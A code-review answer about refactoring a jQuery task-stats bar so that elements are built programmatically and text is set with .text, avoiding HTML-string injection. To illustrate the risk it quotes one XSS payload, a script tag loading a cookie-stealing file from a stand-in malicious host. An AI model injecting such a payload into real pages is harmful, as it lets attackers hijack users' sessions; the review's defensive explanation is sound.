Updating a stats bar on a page
That code is full of security holes. Completely avoid .html, create elements programmatically, not as strings of html text. Use .text to set the visible text of elements securely.

What happens if data.user.assigned has this value:

&lt;script src="//malicious.host.c0m/stealsession.js"&gt;&lt;/script&gt;Visible Text


Then every user that views that page will load and run the malicious script and send their session cookie to the attacker, who can then impersonate you, because they have your session secret. The user will not be notified at all, they see "Visible Text"

You should not repeat yourself so much. You should create an element, and clone that off for each similar duplication of it. This way, you can just set those common attributes once and create copies of it efficiently.

You have everything named very nicely, you can leverage that and make it table driven:

See jsfiddle

$(function() {
  function createIcons(data, scope, names) {
    var template = $('&lt;i/&gt;', {
      'data-tooltip': '',
      'aria-haspopup': 'true',
      'class': "fa",
      'aria-hidden': "true"
    });

    names.forEach(function(descriptor) {
      var parent = scope.find(descriptor.sel),
          userVal = data.user[descriptor.prop],
          teamAvg = data.team_avg[descriptor.prop];
      parent.text(userVal);
      makeUpDownIcon(parent, template.clone(),
                     userVal, teamAvg);
    });
  }

  function makeUpDownIcon(outputParent, element, input, compareTo) {
    var title, classes;
    if (input &gt; compareTo) {
      title = 'Above Team Avg';
      classes = 'fa-arrow-up above-avg';
    } else if (input === compareTo) {
      title = 'Equals Team Average';
      classes = 'neutral';
    } else {
      title = 'Below Team Avg';
      classes = 'fa-arrow-down below-avg';
    }

    return (element.attr('title', title)
            .addClass(classes)
            .appendTo(outputParent));
  }


  //faked $.post("{{ route('task.load') }}", { _token: $('meta[name=csrf-token]').attr('content') }, function(data) {
  var data = {
    user: {
      assigned: 11,
      in_progress: 10,
      in_review: 3,
      overdue: 44
    },
    team_avg: {
      assigned: 6,
      in_progress: 24,
      in_review: 2,
      overdue: 1
    }
  };

  $task_summary = $('.taskload-stats');

  createIcons(data, $task_summary, [
    { sel: '.assigned', prop: 'assigned' },
    { sel: '.in-progress', prop: 'in_progress' },
    { sel: '.in-review', prop: 'in_review' },
    { sel: '.overdue', prop: 'overdue' }
  ]);

  //$(document).foundation('tooltip', 'reflow');
});


Note that I forced in fake data because I cannot do the real ajax request on jsfiddle. I had to rip out that foundation thing to make it runnable too. You should have no trouble modifying that second part to actually use the post.

EDIT:

If you wanted to have a more complex template, say, a span with text and icon then you could do something a bit like this:

  function createIcons(data, scope, names) {
      var template = $('&lt;div/&gt;'),
          caption = $('&lt;span/&gt;', {
              'data-tooltip': '',
              'aria-haspopup': 'true',
              'class': '',
              'aria-hidden': 'true',
              appendTo: template
          }),
          icon = $('&lt;i/&gt;', {
              appendTo: template
          });


Then before each clone, you can reach into the template and do  caption.text(something) and icon.attr('class', 'fa fa-something'), then clone, then the clone will already be set, and no need to go .find into it.

Note that .text blows away all of the content of the node, so I restructured it so .text wont kill the icon.